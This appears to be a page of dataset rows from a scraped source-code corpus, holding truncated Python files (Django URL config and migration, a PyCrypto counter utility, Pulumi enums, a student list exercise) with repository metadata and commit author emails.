e535dc54fa2b0489b8c7793290a217fd52d20a50 | c4880ea637d218587fce287eac1cd0cbd5b4bf63 | /Шпаргалки/Django/order_form/order_form/urls.py | f1107389d7c65c4ae49605924244e73ae36ce104 | [] | no_license | Jumas-Cola/useful_scripts | 6e478aef8dcabe145612eeeddf28e572e0aa8d3d | fcd5abfbfaaaeeb0c3f271b34e937ee7cd69406e | refs/heads/master | 2022-12-14T23:57:23.461313 | 2022-08-07T10:28:04 | 2022-08-07T10:28:04 | 145,626,281 | 4 | 0 | null | 2022-12-08T11:29:55 | 2018-08-21T22:32:26 | Jupyter Notebook | UTF-8 | Python | false | false | 915 | py | """order_form URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-ba... | [
"kbbyfl91@gmail.com"
] | kbbyfl91@gmail.com |
0c17c79c2d727b378ee5c04f82891d744fa99104 | 324ef349ebd26e968389f5c50ca37cf0758e1855 | /tutor/migrations/0031_auto_20171209_2137.py | 96e2df59fa24a9a2b0eb0d6b38a3603167137a2c | [] | no_license | codeSapience/LogeeksApp | caad1cd6fe21093ef15f2061fe5d00511cdebaaa | 0fd515b3daabb3e0591860bb3849dd704a9ea80f | refs/heads/master | 2021-07-23T09:09:31.675390 | 2018-07-26T17:55:02 | 2018-07-26T17:55:02 | 142,470,757 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 641 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.13 on 2017-12-09 20:37
from __future__ import unicode_literals
from django.db import migrations
import image_cropping.fields
class Migration(migrations.Migration):
dependencies = [
('tutor', '0030_auto_20171209_2136'),
]
operations = [
m... | [
"brittoakintade@gmail.com"
] | brittoakintade@gmail.com |
ed33fd3a16c03fde1fe15aad69c9a95609d6f2b9 | 2536dc92dff2eea7ebe7dcd3d10a6bc89ac78178 | /venv/Lib/site-packages/crypto/Util/Counter.py | 7424653d915a6b6990a1d83cc284a2b1401e5a8c | [] | no_license | AlamParihar/Cryptography-Challenges | 1eb2028b942d5a04a9aa27286e8d61b875d96021 | 05631e31285549b8c65c54c9397e09fb9bd22561 | refs/heads/master | 2020-03-27T23:22:01.674910 | 2018-09-24T04:50:26 | 2018-09-24T04:50:26 | 147,312,736 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,852 | py | # -*- coding: ascii -*-
#
# Util/Counter.py : Fast counter for use with CTR-mode ciphers
#
# Written in 2008 by Dwayne C. Litzenberger <dlitz@dlitz.net>
#
# ===================================================================
# The contents of this file are dedicated to the public domain. To
# the extent that dedicati... | [
"alamjyot1@gmail.com"
] | alamjyot1@gmail.com |
8dd250c72ac4962453294895373ddde300d836ef | 48e124e97cc776feb0ad6d17b9ef1dfa24e2e474 | /sdk/python/pulumi_azure_native/desktopvirtualization/v20210903preview/_enums.py | 34078bfc8af5b1fbf137fcb10fc4d0308aff96d5 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | bpkgoud/pulumi-azure-native | 0817502630062efbc35134410c4a784b61a4736d | a3215fe1b87fba69294f248017b1591767c2b96c | refs/heads/master | 2023-08-29T22:39:49.984212 | 2021-11-15T12:43:41 | 2021-11-15T12:43:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,879 | py | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
from enum import Enum
__all__ = [
'ApplicationGroupType',
'CommandLineSetting',
'HostPoolType',
'LoadBalancerType',
'Operation',
... | [
"noreply@github.com"
] | bpkgoud.noreply@github.com |
c184b082d1c8420ca76d3b64f90f1d23bca27209 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/84/usersdata/251/51652/submittedfiles/lista1.py | 9c5e328679ea3f5ca360a46a92c62cfdece66799 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 634 | py | # -*- coding: utf-8 -*-
n = int(input('Digite a quantidade de valores: '))
lista = []
for i in range (1,n+1,1):
valor = int(input('Digite o valor '+str(i)+': '))
lista.append(valor)
def impares (lista):
contI=0
soma=0
for i in range(0,len(lista),1):
if lista[i]%2!=0:
soma=soma+l... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.